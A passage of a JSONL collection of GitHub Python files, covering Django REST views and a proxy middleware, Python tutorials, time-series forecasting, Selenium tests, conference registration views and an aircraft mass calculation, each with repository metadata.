+{"seq_id":"31065366115","text":"# -*- coding: utf-8 -*-\n# @Time : 2023/2/12 14:30\n# @Author : jinjie\n# @File : basic_001_创建一个二维数组.py\nfrom pprint import pprint\n\nn = 8\nm = 8\n\ndp = [[0]*(n+1) for _ in range(m+1)]\n\npprint(dp)","repo_name":"JiinJie/Python_algorithm_exercise","sub_path":"算法汇总/算法基础题目/basic_001_创建一个二维数组.py","file_name":"basic_001_创建一个二维数组.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71300685843","text":"from django.db.models import Q\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom rest_framework.filters import SearchFilter, OrderingFilter\nfrom rest_framework.parsers import FormParser, MultiPartParser\nfrom rest_framework.pagination import LimitOffsetPagination, PageNumberPagination\nfrom rest_framework.generics import ListAPIView, RetrieveAPIView, RetrieveUpdateAPIView, DestroyAPIView, CreateAPIView\nfrom .serializers import (\n\t\tReviewSeraializer, ReviewCreateUpdateSerializer, ReviewDetailSeraializer, create_review_serializer,\n\t\tRateSerializer, RateCreateUpdateSerializer\n\t\t)\nfrom rest_framework.permissions import AllowAny, IsAuthenticated, IsAdminUser, IsAuthenticatedOrReadOnly \n\n# from .paginations import RentalLimitOffsetPagination, RentalPageNumberPagination\n# from .permissions import IsOwnerOrReadOnly\n\nfrom review.models import Review, Rate\n\n\nclass ReviewListAPIView(ListAPIView):\n\tserializer_class = ReviewSeraializer\n\tfilter_backends = [SearchFilter, OrderingFilter]\n\tdef get_queryset(self, *args, **kwargs):\n\t\tqueryset_list = Review.objects.all()\n\t\tquery = self.request.GET.get('q')\n\t\tif query:\n\t\t\tqueryset_list = queryset_list.filter(\n\t\t\t\t\tQ(review__icontains=query)|\n\t\t\t\t\tQ(user__first_name__icontains=query)|\n\t\t\t\t\tQ(user__last_name__icontains=query)\n\t\t\t\t).distinct()\n\t\treturn queryset_list\n\nclass ReviewDetailAPIView(RetrieveAPIView):\n\tserializer_class = ReviewDetailSeraializer\n\tqueryset = Review.objects.all() \n\tlookup_field = 'pk'\n\nclass ReviewCreateAPIView(CreateAPIView):\n\tqueryset = Review.objects.all()\n\t# permisssion_classes = [IsAuthenticated]\n\n\tdef get_serializer_class(self):\n\t\tprint('hello')\n\t\tmodel_type = self.request.GET.get('type')\n\t\tslug = self.request.GET.get('slug')\n\t\tparent_id = self.request.GET.get('parent_id', None)\n\t\treturn create_review_serializer(model_type=model_type, slug=slug, parent_id=parent_id, reviewer=self.request.user)\n\n\t# def perform_create(self, serializer):\n\t# \tprint('serializer',serializer)\n\t# \tprint('self',self)\n\t# \tprint('self.request',self.request.user)\n\t# \tserializer.save(reviewer=self.request.user)\n\n\t# @method_decorator(csrf_exempt)\n\t# def dispatch(self, request, *args, **kwargs):\n\t# \treturn super(ReviewCreateAPIView, self).dispatch(request, *args, **kwargs)\n\nclass ReviewUpdateAPIView(RetrieveUpdateAPIView):\n\tserializer_class = ReviewCreateUpdateSerializer\n\tqueryset = Review.objects.all()\n\tparser_classes = (FormParser,MultiPartParser,)\n\tlookup_field = 'pk'\n\nclass ReviewDestroyAPIView(DestroyAPIView):\n\tserializer_class = ReviewCreateUpdateSerializer\n\tqueryset = Review.objects.all()\n\tlookup_field = 'pk'\n\nclass RateListAPIView(ListAPIView):\n\tserializer_class = RateSerializer\n\n\tdef get_queryset(self, *args, **kwargs):\n\t\tqueryset = Rate.objects.all()\n\t\treturn queryset\n\nclass RateDetailAPIView(RetrieveAPIView):\n\tserializer_class = RateSerializer\n\tqueryset = Rate.objects.all()\n\tlookup_field = 'pk'\n\nclass RateCreateAPIView(CreateAPIView):\n\tserializer_class = RateCreateUpdateSerializer\n\tqueryset = Rate.objects.all()\n\t# parser_classes = (FormParser,MultiPartParser,)\n\n\tdef perform_create(self, serializer):\n\t\tserializer.save(rater=self.request.user)\n\n\nclass RateUpdateAPIView(RetrieveUpdateAPIView):\n\tserializer_class = RateCreateUpdateSerializer\n\tqueryset = Rate.objects.all()\n\tparser_classes = (FormParser,MultiPartParser,)\n\tlookup_field = 'pk'\n\n\n","repo_name":"Tushant/Foodie","sub_path":"review/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12662613359","text":"import requests\n\nfrom urlparse import urlparse\n\nfrom django.utils import simplejson as json\nfrom django.http import HttpResponse\n\n\nREQUEST_MAP = {\n \"GET\": requests.get,\n \"POST\": requests.post,\n \"PUT\": requests.put,\n \"DELETE\": requests.delete\n}\n\nCOOKIE_KEYS = [\"csrftoken\", \"sessionid\"]\nHEADER_KEYS = [\"Content-Type\"]\nIGNORED_ARGS = set([\"proxy_url\"] + COOKIE_KEYS + HEADER_KEYS)\nIGNORE_HEADERS = [\"Origin\", \"User-Agent\", \"Host\"]\nALLOWED_NETLOC = set([\n \"eyebrowse.csail.mit.edu\",\n \"localhost:8000\"\n])\nLOGIN = \"login\"\n\n\nclass ProxyMiddleware(object):\n\n \"\"\"\n Takes cookie and sessionid values of\n request and creates actual django cookies\n \"\"\"\n\n def process_request(self, request):\n return _process(request)\n\n\ndef _process(request):\n params = request.GET\n proxy_url = None\n\n if len(params) > 0:\n proxy_url = params.get(\"proxy_url\")\n\n if proxy_url:\n method = request.method\n netloc = urlparse(proxy_url).netloc\n\n if netloc not in ALLOWED_NETLOC:\n return _err_response(\n \"Invalid proxy url provided, must foward to eyebrowse.\")\n\n if method not in REQUEST_MAP:\n return _err_response(\"Invalid request method type %s\" % method)\n\n request_dict = _pack_request(request)\n res = REQUEST_MAP[method](proxy_url, **request_dict)\n res = _pack_response(res)\n response = HttpResponse(res['response'])\n\n if LOGIN in proxy_url:\n val = ''\n try:\n json_res = json.loads(res['response'])\n except:\n return _err_response(\"JSON decode error.\")\n\n for key, value in json_res.iteritems():\n if key == 'sessionid':\n val = value\n response.set_cookie('sessionid', val)\n return response\n\n return None\n\n\ndef _pack_request(request):\n \"\"\"\n Builds a dictionary of options to send with the request\n \"\"\"\n cookies = _extract_cookies(request.GET) # extract cookies to proxy\n headers = _extract_headers(request.META)\n if request.method == \"GET\":\n args_key = \"params\"\n args = _clean_args(request.GET)\n else:\n args_key = \"data\"\n args = request.POST\n return {\n \"cookies\": cookies,\n args_key: args,\n \"headers\": _pack_headers(request, headers),\n \"allow_redirects\": True\n }\n\n\ndef _err_response(err_msg):\n return {\n 'error': err_msg\n }\n\n\ndef _extract_cookies(args):\n return _extract_args(args, COOKIE_KEYS)\n\n\ndef _extract_headers(args):\n return _extract_args(args, HEADER_KEYS)\n\n\ndef _extract_args(args, keys):\n res = {}\n for key in keys:\n if key in args:\n res[key] = args[key]\n return res\n\n\ndef _clean_args(arg_dict):\n \"\"\"\n Take out the proxy args\n \"\"\"\n clean_args = {}\n for k, v in arg_dict.iteritems():\n if k not in IGNORED_ARGS:\n clean_args[k] = v\n return clean_args\n\n\ndef _pack_headers(headers, add_headers={}):\n \"\"\"\n Convert the headers from a tuple to a dictionary\n \"\"\"\n header_dict = {}\n for header in headers:\n value = header[1]\n header = header[0]\n if header in IGNORE_HEADERS:\n continue\n elif header in add_headers:\n value = add_headers[header]\n header_dict[header] = value\n return header_dict\n\n\ndef _pack_response(res):\n \"\"\"\n If we're logging in let the client get back its cookies\n \"\"\"\n content_type = res.headers['content-type']\n if len(res.history):\n res = res.history[0] # login redirect\n if res.request.method == \"POST\" and res.status_code == 302:\n # we just want to save cookies for logging in\n response = json.dumps(res.cookies.get_dict())\n content_type = \"application/json; charset=utf-8\"\n else:\n try:\n response = json.dumps(res.json())\n except:\n response = res.text\n\n return {\n \"content_type\": content_type,\n \"response\": response\n }\n","repo_name":"haystack/eyebrowse-server","sub_path":"common/middleware/proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":4071,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"3"} +{"seq_id":"22189735251","text":"# Property decorators\r\n\r\nclass nump:\r\n def __init__(self , start , end):\r\n self.start = start\r\n self.end = end\r\n\r\n @property\r\n def full(self): # behave like property doesn't need to make Parentheses\r\n return f\"{self.start} {self.end}\"\r\n\r\n @full.setter # when any full = any argument \r\n def full(self , startend):\r\n start = startend[0:3]\r\n end = startend[3:]\r\n self.start = start\r\n self.end = end\r\n\r\n @full.deleter\r\n def full(self):\r\n # your code here\r\n # code execute if anybody try to del the full\r\n self.start = None\r\n self.end = None\r\n print(\"Delete Done\")\r\n \r\n\r\n\r\na = nump(1 , 100)\r\nprint(a.full) # see this we don't use parentheses if we define @property\r\n# if we try to call with parenthesis it make TypeError\r\n\r\n# chage start end by full\r\na.full = \"100200\"\r\n\r\nprint(a.full) # chaged by the hhelp of setter\r\n\r\ndel(a.full)\r\n","repo_name":"innovatorved/python-recall","sub_path":"py44-Setters&Property-Sedorators.py","file_name":"py44-Setters&Property-Sedorators.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"8486870031","text":"string_query = \" name=Amanda=sssss&age=32&&salary=1500¤cy=quro \"\nnull_list = string_query.strip(' ')\nprint(null_list)\nfirst = null_list.split('&&')\nprint(first)\n\nfinal_list = []\n\nfor element in first:\n second = element.split('&')\n print(second)\n for el in second:\n final = el.split('=', maxsplit=1)\n final_list.append(final)\n # dict([final])\n\nprint(dict(final_list))\n\n# Good. But take a look how it could be solved easier\n# result = dict()\n#\n# for pair in some_string.strip().split('&'):\n# if pair:\n# key, value = pair.split('=', maxsplit=1)\n# result[key] = value\n#\n# print(result)\n","repo_name":"aagazarian/pythonHillelQA","sub_path":"homework_4/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2954228586","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport imageio\n\n\ndef roll_die():\n return np.random.randint(1, 7)\n\n\ndef running_average(input_array):\n if not input_array:\n return []\n\n running_sum = 0\n running_averages = []\n\n for num in input_array:\n running_sum += num\n running_averages.append(running_sum / len(running_averages + [1]))\n\n return running_averages\n\n\ndef simulate_law_of_large_numbers(num_simulations):\n return sum(roll_die() for _ in range(num_simulations)) / num_simulations\n\n\ndef run_simulation(num_simulations, max_sample_size):\n\n averages = []\n\n for sample in range(1, max_sample_size+1):\n averages.append(simulate_law_of_large_numbers(num_simulations))\n\n return running_average(averages)\n\n\ndef generate_animation(sample_sizes, current_averages, filename):\n fig, ax = plt.subplots(figsize=(10, 6))\n ax.set_xlabel('Sample Size')\n ax.set_ylabel('Average')\n ax.set_title('Law of Large Numbers: Simulating Dice Rolls')\n ax.grid()\n ax.axhline(y=3.5, color='r', linestyle='--', label='Expected Value (3.5)')\n ax.legend()\n\n frames = []\n for i in range(1, len(sample_sizes), 100):\n ax.clear() # Clear the plot before drawing each frame\n ax.axhline(y=3.5, color='r', linestyle='--',\n label='Expected Value (3.5)', linewidth=1.4)\n ax.plot(sample_sizes[:i+1], current_averages[:i+1],\n marker='o', markersize=1)\n ax.legend()\n ax.grid()\n ax.set_xlabel('Sample Size')\n ax.set_ylabel('Average')\n ax.set_title('Law of Large Numbers: Simulating Dice Rolls')\n\n # Add a text annotation with the simulation parameters\n simulation_params = f\"Simulations per Sample: {num_simulations}\\nSample Size: {max_sample_size}\"\n ax.text(0.02, 0.92, simulation_params, transform=ax.transAxes,\n fontsize=10, verticalalignment='top')\n\n plt.pause(0.0001) # Pause to let the animation show\n plt.draw()\n frame = np.frombuffer(fig.canvas.tostring_rgb(), dtype=np.uint8)\n frame = frame.reshape(fig.canvas.get_width_height()[::-1] + (3,))\n frames.append(frame)\n\n imageio.mimsave(filename, frames, duration=(1000 * 1/20))\n\n\nif __name__ == \"__main__\":\n num_simulations = 10\n max_sample_size = 7000\n sample_sizes = list(range(1, max_sample_size + 1))\n\n current_averages = [0] * max_sample_size\n current_averages = run_simulation(num_simulations,\n max_sample_size)\n\n animation_filename = \"law_of_large_numbers_animation.gif\"\n generate_animation(sample_sizes, current_averages, animation_filename)\n\n plt.show()\n","repo_name":"mirolaukka/law-of-large-numbers","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27536217849","text":"class SARIMA:\n '''\n This class calculates the best parameter value, forecasts future values on the derived set of parameters and plots the results\n \n Args:\n initial_values (iterable) -> List representing the range of the parameters in order - ps, qs, Ps, Qs (two values for each)\n series (DataFrame) -> Train timeseries of sales\n n_preds (integer) -> The number of predictions\n D (integer) -> Seasonality difference parameter\n d (integer) -> Trend difference index\n slen (integer) -> Length of the season\n \n '''\n def __init__(self, series, initial_values, n_preds = 180, D = 1, d = 7, slen = 365):\n self.series = series\n self.initial_values = initial_values\n self.n_preds = n_preds\n self.d = d\n self.D = D\n self.slen = slen\n \n \n def tune_SARIMA(self):\n '''\n This function finds the best combination of parameters for SARIMA model\n \n Returns:\n result_table (dataframe) -> The combination of Parameters along with their respective AIC values as calculated by SARIMAX\n \n '''\n self.result_table = []\n ps = range(self.initial_values[0], self.initial_values[1])\n qs = range(self.initial_values[2], self.initial_values[3])\n Ps = range(self.initial_values[4], self.initial_values[5])\n Qs = range(self.initial_values[6], self.initial_values[7])\n parameters_list = list(product(ps,qs,Ps,Qs)) \n best_aic = float(\"inf\")\n for param in tqdm_notebook(parameters_list):\n # we need try-except because on some combinations model fails to converge\n try:\n model=sm.tsa.statespace.SARIMAX(self.series.sales, order=(param[0], self.d, param[1]), \n seasonal_order=(param[2], self.D, param[3], self.slen)).fit(disp=-1)\n except:\n continue\n aic = model.aic\n # saving best model, AIC and parameters\n if aic < best_aic:\n best_model = model\n best_aic = aic\n best_param = param\n results.append([param, model.aic])\n\n self.result_table = pd.DataFrame(results)\n self.result_table.columns = ['parameters', 'aic']\n # sorting in ascending order, the lower AIC is - the better\n self.result_table = self.result_table.sort_values(by='aic', ascending=True).reset_index(drop=True)\n p,q,P,Q = self.result_table.parameters[0]\n print('The best parameter values are : p - ', p, \" q - \", q, 'P - ', P, ' Q - ',Q)\n \n \n def fit_SARIMA(self, test_data):\n '''\n This function fits the parameters and makes a forecast\n Also, this function can be used to determine the anomalies as well. I will havet to figure out how that can \n be done in SARIMA modeling, but that shouldn't be too tough.\n \n Args:\n test_data (DataFrame) -> test part of the sales timeseries\n \n '''\n self.tune_SARIMA()\n self.forecast = []\n p, q, P, Q = self.result_table.parameters[0]\n best_model=sm.tsa.statespace.SARIMAX(self.series.sales, order=(p, self.d, q), seasonal_order=(P, self.D, Q, self.slen)).fit(disp=-1)\n print(best_model.summary())\n a_df = pd.concat(self.series, test_data, join = 'inner', axis = 0)\n forecast = best_model.predict(start = (self.slen+self.d), end = self.series.shape[0]+self.n_preds)\n self.forecast = np.array((np.NaN)*(self.slen + self.d))\n self.forecast = self.forecast.append(forecast)\n self.forecast = pd.DataFrame(self.forecast, columns = 'sales')\n self.forecast.index = pd.to_datetime(a_df.index)\n \n \n def plot_SARIMA(self, actual_values, aggregated = True):\n '''\n This function plots the results derived from SARIMA modelling. I still have to add the code for Anomalies.\n \n Args:\n actual_values (DataFrame) -> Timeseries representing sales_df, with test set included.\n aggregated (Boolean) -> Determines if we want to print the aggregated scores of values\n \n '''\n error_pred = mean_squared_error(actual_values['sales'][0-self.n_preds:], self.forecast['sales'][0-self.n_preds:])\n plt.figure(figsize = (15,7))\n plt.title(\"Mean Squared Error: {0:.2f}%\".format(error_pred))\n if aggregated:\n agg_forecast = self.forecast.resample('W', label = 'left').sum() # Have to see if I should handle NaN values with fillna\n agg_actual_values = actual_values.resample('W', label = 'left').sum()\n plt.plot(agg_forecast, color = \"g\", label = \"Predicted Values\")\n plt.plot(agg_actual_values, color = 'b', label = \"Actual Values\")\n else:\n plt.plot(self.forecast, color = \"g\", label = \"Predicted Values\")\n plt.plot(actual_values, color = \"b\", label = \"Actual Values\")\n plt.axvspan(self.forecast.index[0-self.n_preds], self.forecast.index[-1], alpha = 0.4, color = 'grey')\n plt.legend(loc = 'upper left')\n plt.grid(True)\n plt.show()\n \n \n \n \n \n \n ","repo_name":"Shivanshu17/ML-From-Scratch","sub_path":"Time_Series/SARIMA_modelling.py","file_name":"SARIMA_modelling.py","file_ext":"py","file_size_in_byte":5272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"28090766805","text":"import sys\n\ntry:\n # Python 2 is not supported anymore but still the old way of typing is used here in order to give a nice Python\n # version failure and not a typing exception.\n from typing import Iterable\nexcept ImportError:\n pass\n\nOLDEST_PYTHON_SUPPORTED = (3, 8) # keep it as tuple for comparison with sys.version_info\n\n\ndef _ver_to_str(it): # type: (Iterable) -> str\n return '.'.join(str(x) for x in it)\n\n\ndef is_supported(): # type: () -> bool\n return sys.version_info[:2] >= OLDEST_PYTHON_SUPPORTED[:2]\n\n\ndef check(): # type: () -> None\n if not is_supported():\n raise RuntimeError(\n 'ESP-IDF supports Python {} or newer but you are using Python {}. Please upgrade your '\n 'installation as described in the documentation.'.format(\n _ver_to_str(OLDEST_PYTHON_SUPPORTED), _ver_to_str(sys.version_info[:3])\n )\n )\n\n\nif __name__ == '__main__':\n check()\n","repo_name":"espressif/esp-idf","sub_path":"tools/python_version_checker.py","file_name":"python_version_checker.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":11541,"dataset":"github-code","pt":"3"} +{"seq_id":"32749521317","text":"import requests\n# Define the data for the new Product\ndata = {\n \"name\": \"New Product Name\",\n \"description\": \"Product description goes here.\",\n \"category\": \"Sports\", # Replace with an existing category name\n \"mrp\": 29.99,\n \"discount\": 2.00\n}\n\napi_url = \"http://127.0.0.1:8000/api/shop/\" \n# Send a POST request to create the Product\nresponse = requests.post(api_url, json=data)\n\nprint(response)","repo_name":"Anshul-Dishoriya/byte-quest","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6747488970","text":"import datetime\n\nfrom django.contrib import messages\nfrom django.core.urlresolvers import reverse, reverse_lazy\nfrom django.shortcuts import redirect\nfrom django.views.generic import TemplateView\n\nfrom conference.models import Microsite\nfrom conference.models.settings import JOIN_WAITLIST_URL\nfrom content.models import MenuItem\nfrom events.models import EventMulti, NATIONAL_CONFERENCES\nfrom imis.event_function import EventFunctions\nfrom imis.models import CustomEventRegistration\nfrom myapa.viewmixins import AuthenticateLoginMixin\nfrom store.models import Purchase\nfrom store.utils import PurchaseInfo\n\n\nclass AddActivitiesView(AuthenticateLoginMixin, TemplateView):\n \"\"\"\n View for adding tickets for multi event activities to cart\n\n STILL NEED TO:\n - filter activities (client side) -- by something other than day?\n - what happens if registration is not in cart? -- I believe this is handled now\n \"\"\"\n template_name = \"registrations/newtheme/registration-activities.html\"\n cart_url = reverse_lazy(\"store:cart\")\n is_kiosk = False\n microsite = None\n conf_menu_query = None\n has_registration = False\n user = None\n event = None\n is_npc = False\n activities = []\n\n def get_event(self):\n master_id = self.kwargs.get(\"master_id\")\n return EventMulti.objects.get(master_id=master_id, publish_status=\"PUBLISHED\")\n\n def get_user(self):\n return self.request.user\n\n def get(self, request, *args, **kwargs):\n\n self.event = self.get_event()\n self.user = self.get_user()\n self.is_npc = self.event.code in [nc[0] for nc in NATIONAL_CONFERENCES]\n if self.is_npc and not self.is_kiosk:\n self.template_name = \"registrations/conference/registration-activities.html\"\n master_id = self.event.master_id\n\n registration = CustomEventRegistration.objects.filter(\n id=self.user.username,\n meeting=self.event.product.imis_code\n )\n\n\n\n # registration = Purchase.objects.filter(\n # user=self.user,\n # product__content__master_id=master_id\n # )\n # using the Q(user=self.user) | Q(contact__user__username=self.user.username)\n # as the query for Purchases for the logged-in user was a huge performance bottleneck\n # To mitigate, we run the first query for user foreign key on Purchase,\n # trying again on the Contact foreign key as a second query only if the first one\n # returns no results.\n # if not registration.exists():\n # registration = Purchase.objects.filter(\n # contact__user__username=self.user.username,\n # product__content__master_id=master_id\n # )\n\n self.has_registration = registration.exists()\n self.set_microsite(request, *args, **kwargs)\n\n # REDIRECT TO\n if self.has_registration:\n badge_only_purchase = Purchase.objects.filter(user=self.user, product=self.event.product, code='BSPKR')\n if badge_only_purchase.exists():\n return redirect(self.get_cart_url())\n\n # REDIRECT TO SELECT REGISTRATION IF DOES NOT HAVE REGISTRATION\n if not self.has_registration:\n messages.info(\n request,\n \"To purchase additional tickets you must first register for %s\" % self.event.title\n )\n if self.is_kiosk:\n return redirect(\"kiosk:registration_options\", master_id=self.event.master_id)\n else:\n if self.microsite.url_path_stem and self.microsite.url_path_stem != \"conference\":\n rev_url = reverse(\n \"registrations:microsite_select_registration\",\n kwargs={\n \"master_id\": master_id,\n \"microsite_url_path_stem\": self.microsite.url_path_stem\n }\n )\n return redirect(rev_url)\n else:\n return redirect(\"registrations:select_registration\", master_id=master_id)\n# SEND TO CART IF BADGE-ONLY\n elif badge_only_purchase:\n return redirect(self.get_cart_url())\n\n activities = self.event.get_activities_with_product_cart()\n functions = EventFunctions(self.user.username, self.event.product.imis_code).get()\n\n purchases = Purchase.objects.filter(user=self.request.user, product__content__master_id=master_id)\n\n for activity in activities:\n add_product_info(activity, self.user, purchases, functions)\n\n self.activities = self.filter_activities(activities)\n\n return super().get(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n self.set_microsite(request, *args, **kwargs)\n return super().post(request, *args, **kwargs)\n\n def filter_activities(self, activities):\n return activities\n\n def get_filter_dates(self):\n # SHOULD MOVE ALL THESE FILTERS TO A FORM?\n filter_dates = []\n begin_time_as_date = self.event.begin_time_astimezone().date()\n end_time_as_date = self.event.end_time_astimezone().date()\n date_difference = end_time_as_date - begin_time_as_date\n\n for i in range(date_difference.days + 1):\n filter_dates.append(begin_time_as_date + datetime.timedelta(days=i))\n\n return filter_dates\n\n def get_cart_url(self):\n return self.cart_url\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context[\"event\"] = self.event\n context[\"activities\"] = self.activities\n context[\"filter_dates\"] = self.get_filter_dates()\n context[\"has_registration\"] = self.has_registration\n context[\"is_npc\"] = self.is_npc\n context[\"cart_url\"] = self.get_cart_url()\n context[\"conference_menu\"] = self.conf_menu_query\n context[\"microsite\"] = self.microsite\n context[\"join_waitlist_url\"] = JOIN_WAITLIST_URL\n context[\"is_waitlist\"] = False\n context[\"is_ordered\"] = False\n # FLAGGED FOR REFACTORING: NPC21\n # context[\"show_schedule_stuff\"] = False\n return context\n\n def set_microsite(self, request, *args, **kwargs):\n microsite = Microsite.get_microsite(self.request.get_full_path())\n\n if microsite:\n # means we are in a conf microsite (not incl npc)\n self.conf_menu_query = MenuItem.get_root_menu(landing_code=microsite.home_page_code)\n self.microsite = microsite\n else:\n self.conf_menu_query = None\n\n\ndef add_product_info(activity, user, registration=[], functions=[]):\n product = activity.product\n price = None\n\n function = next(\n filter(\n lambda function: function.event_function_id == product.imis_code,\n functions),\n None)\n\n if activity.product_cart:\n price = activity.product_cart.get_price(\n contact=user.contact,\n purchases=registration)\n\n purchase_info = PurchaseInfo(product, user, function).get() if price else {}\n\n activity.product_info = {\n 'product': product,\n 'price': price,\n 'purchase_info': purchase_info,\n 'content': product.content\n }\n\n return activity\n","repo_name":"furmanczyk5/Django-Enterprise-App","sub_path":"registrations/views/add_activities.py","file_name":"add_activities.py","file_ext":"py","file_size_in_byte":7306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"40324714371","text":"# coding=UTF-8\nfrom business.register_business import RegisterBusiness\nfrom selenium import webdriver\nimport HTMLTestRunner\nimport os\nfrom log.user_log import UserLog\nimport unittest\nimport sys\nimport time\n\nsys.path.append(r\"C:\\Users\\edwardlee\\PycharmProjects\\自动化测试\\business\")\nsys.path.append(r'C:\\Users\\edwardlee\\PycharmProjects\\自动化测试\\log')\nsys.path.append(r\"C:\\Users\\edwardlee\\DeepML\\Lib\\site-packages\\selenium\")\nsys.path.append(r\"C:\\Program Files (x86)\\Google\\Chrome\\Application\")\nclass firstCase(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n self.log = UserLog()\n self.logger = self.log.get_log()\n print(\"所有case执行之前的前置\")\n\n @classmethod\n def tearDownClass(self):\n print(\"所有case执行之后的后置置\")\n self.log.close()\n\n def setUp(self):\n self.driver = webdriver.Chrome()\n self.driver.get(\"http://www.5itest.cn/register?goto=/\")\n\n self.logger.info(\"this is chrome\")\n\n self.login = RegisterBusiness(self.driver)\n\n def tearDown(self):\n\n time.sleep(2)\n\n for method_name,error in self._outcome.errors:\n if error:\n casename = self._testMethodName\n file_path = os.path.join(os.getcwd() + \"\\\\report\\\\\"+casename+\".png\")\n self.driver.save_screenshot(file_path)\n\n self.driver.close()\n\n def test_login_email_error(self):\n email_error = self.login.login_email_error(\"22\",\"user11\",\"1111\",\"2222\")\n if email_error == True:\n print(\"邮箱验证成功，此条case成功\")\n else:\n print(\"注册成功，此条case失败\")\n self.assertTrue(email_error,\"case执行成功\")\n\n def test_login_username_error(self):\n username_error = self.login.login_name_error(\"22\",\"user11\",\"1111\",\"2222\")\n '''if username_error == True:\n print(\"用户名验证成功，此条case成功\")\n else:\n print(\"注册成功，此条case失败\")'''\n self.assertTrue(username_error,\"case执行成功\")\n\n def test_login_code_error(self):\n pass\n\n def test_login_success(self):\n success = self.login.user_base(\"1111\",\"222\",\"22\",\"333\")\n '''if self.login.register_success() == True:\n print(\"注册成功\")'''\n self.assertTrue(self.login.register_success())\n\nif __name__ == \"__main__\":\n #file_path = os.path.join(os.getcwd()+\"\\\\report\\\\\"+\"first_case.html\")\n #f = open(file_path,'wb+')\n\n unittest.main()\n suite = unittest.TestSuite()\n #suite.addTest(firstCase('test_login_email_error'))\n #unittest.TextTestRunner().run(suite)\n #runner = HTMLTestRunner.HTMLTestRunner(stream=f,title='This is first report',description=\"这是第一个报告\")\n #runner.run(suite)\n '''first = firstCase()\n first.test_login_code_error()\n first.test_login_email_error()\n first.test_login_username_error()\n #first.test_login_success()'''\n","repo_name":"bluewold/pythonselenium","sub_path":"case/first_case.py","file_name":"first_case.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"14317805231","text":"import pandas as pd\r\nimport numpy as np\r\nimport os\r\nfrom src.load_data import split_opf\r\nfrom src.coeff_bada import ACData, Synonym\r\nfrom src.fwparser import FixedWidthParser, ParseError\r\nfrom pathlib import Path\r\nfrom csv import writer\r\n\r\nimport pyBADA.constants as cons\r\nimport pyBADA.bada3 as b3\r\nimport pyBADA.conversions as conv\r\nimport pyBADA.atmosphere as atm\r\nimport pyBADA.aircraft as ac\r\n\r\ndef Bisection(func, low, high, ROCD, e):\r\n \"\"\"\r\n Bisection algorithm to converge onto a value of mass\r\n \"\"\"\r\n Step = 1\r\n \r\n # Input Section\r\n print('Low Mass: ', low)\r\n print('High Mass: ', high)\r\n print('Tolerable Error: ', e)\r\n\r\n def closest(lst, K):\r\n return lst[min(range(len(lst)), key = lambda i: abs(lst[i]-K))]\r\n\r\n for i in range(100): # Max interation\r\n print(\"\")\r\n if Step == 1:\r\n Cal_ROCDs = []\r\n masses = np.linspace(start = low, stop = high, num = 50) \r\n for m in masses:\r\n cal_rocd = func(m)\r\n Cal_ROCDs.append(cal_rocd)\r\n\r\n closest_value = closest(Cal_ROCDs, ROCD)\r\n mass = masses[Cal_ROCDs.index(closest_value)]\r\n print('Iteration-%d, mass = %0.6f and ROCD = %0.6f' % (Step, mass, closest_value))\r\n\r\n if abs(ROCD - closest_value) < float(e):\r\n print('Iteration complete')\r\n break\r\n else:\r\n new_low = abs(mass - ((high-low)/2))\r\n print(f\"Low: {low}\")\r\n new_high = abs(mass + ((high-low)/2))\r\n print(f\"High: {high}\")\r\n Step = Step + 1\r\n else:\r\n low = new_low\r\n high = new_high\r\n Cal_ROCDs = []\r\n masses = np.linspace(start = low, stop = high, num = 50) \r\n for m in masses:\r\n cal_rocd = func(m)\r\n Cal_ROCDs.append(cal_rocd)\r\n\r\n closest_value = closest(Cal_ROCDs, ROCD)\r\n mass = masses[Cal_ROCDs.index(closest_value)]\r\n print('Iteration-%d, mass = %0.6f and ROCD = %0.6f' % (Step, mass, closest_value))\r\n\r\n if abs(ROCD - closest_value) < float(e):\r\n print('Iteration complete')\r\n break\r\n else:\r\n new_low = abs(mass - ((high-low)/2))\r\n print(f\"Low: {low}\")\r\n new_high = abs(mass + ((high-low)/2))\r\n print(f\"High: {high}\")\r\n Step = Step + 1\r\n return mass\r\n\r\ndef mass_calculation(T_atm, H_p, BankAngle, TAS, ROCD, Mach, error):\r\n\r\n \"\"\"\r\n This code calculates the mass of an aircraft using the bisection method. This method only accounts for the climb phase. Make sure to keep it in SI units. This calculation needs to know whether the M is constant or the CAS is constant.\r\n\r\n :param T_atm: (K) The temperature of the atmosphere\r\n :param H_p: (m) This is the Altitude preferably geopotential altitude at which the aircraft is at.\r\n :param BankAngle: Bank angle usually 30\r\n :param TAS: (m/s) True Air Speed that the aircraft is travelling at\r\n :param ROCD: (m/s) Rate Of Climb or Descent\r\n :param error: Amount of error allowed\r\n \r\n :return mass: (kg) Mass of the aircraft\r\n :return V1: (knots) Calibrated Air Speed\r\n :return V2: (knots) Calibrated Air Speed\r\n :return Mach: Mach Number of the 